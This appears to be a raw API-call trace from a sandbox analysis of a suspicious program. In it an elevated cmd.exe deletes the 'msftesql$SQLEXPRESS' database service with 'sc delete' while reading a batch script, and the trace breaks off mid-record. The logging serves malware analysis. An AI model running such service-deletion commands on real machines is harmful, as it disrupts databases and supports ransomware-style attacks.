GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.377] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0077.378] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0077.378] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.378] GetLastError () returned 0x2 [0077.378] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0077.378] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0077.378] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.378] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.378] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.378] GetProcessHeap () returned 0x240000 [0077.378] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.378] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.378] GetProcessHeap () returned 0x240000 [0077.378] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb8) returned 0x259180 [0077.378] GetProcessHeap () returned 0x240000 [0077.378] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb8 [0077.379] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"msftesql$SQLEXPRESS\"") returned 1 [0077.379] GetProcessHeap () returned 0x240000 [0077.379] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.379] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.379] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.379] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.379] GetProcessHeap () returned 0x240000 [0077.379] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.379] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.379] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.380] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.381] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.381] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.381] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.381] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.381] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.381] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.381] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.381] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.381] GetProcessHeap () returned 0x240000 [0077.381] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.381] GetProcessHeap () returned 0x240000 [0077.381] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.381] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"msftesql$SQLEXPRESS\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"msftesql$SQLEXPRESS\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"msftesql$SQLEXPRESS\"", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x8bc, dwThreadId=0x8cc)) returned 1 [0077.384] CloseHandle (hObject=0x50) returned 1 [0077.384] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.384] GetProcessHeap () returned 0x240000 [0077.384] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.384] GetEnvironmentStringsW () returned 0x261b10* [0077.384] GetProcessHeap () returned 0x240000 [0077.384] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0077.384] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.384] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.384] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.385] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0077.427] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.427] CloseHandle (hObject=0x54) returned 1 [0077.427] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.427] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.427] GetProcessHeap () returned 0x240000 [0077.427] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0077.427] GetEnvironmentStringsW () returned 0x261b10* [0077.427] GetProcessHeap () returned 0x240000 [0077.427] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0077.427] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.427] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.427] GetProcessHeap () returned 0x240000 [0077.427] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0077.427] GetEnvironmentStringsW () returned 0x261b10* [0077.427] GetProcessHeap () returned 0x240000 [0077.427] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0077.427] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.427] GetProcessHeap () returned 0x240000 [0077.428] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.428] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.428] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.428] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.428] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.428] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.428] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.428] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.428] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.429] GetConsoleOutputCP () returned 0x1b5 [0077.429] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.429] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.429] GetProcessHeap () returned 0x240000 [0077.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0077.429] GetProcessHeap () returned 0x240000 [0077.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.429] GetProcessHeap () returned 0x240000 [0077.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.429] GetProcessHeap () returned 0x240000 [0077.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0077.429] GetProcessHeap () returned 0x240000 [0077.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.429] GetProcessHeap () returned 0x240000 [0077.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.429] GetProcessHeap () returned 0x240000 [0077.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.429] GetProcessHeap () returned 0x240000 [0077.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.430] GetProcessHeap () returned 0x240000 [0077.430] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.430] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.430] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.430] GetFileType (hFile=0x120) returned 0x3 [0077.430] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.430] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.430] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.430] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.430] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.430] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.430] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.430] GetFileType (hFile=0x120) returned 0x3 [0077.430] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.430] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.430] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.430] GetFileType (hFile=0xb8) returned 0x3 [0077.430] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.430] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.431] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.431] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.431] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.431] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.431] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.431] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.431] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"msftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.432] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="psftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="oftesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="stesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.433] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="tesql$SQLEXPRESS\"\nA\"\n") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.433] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: 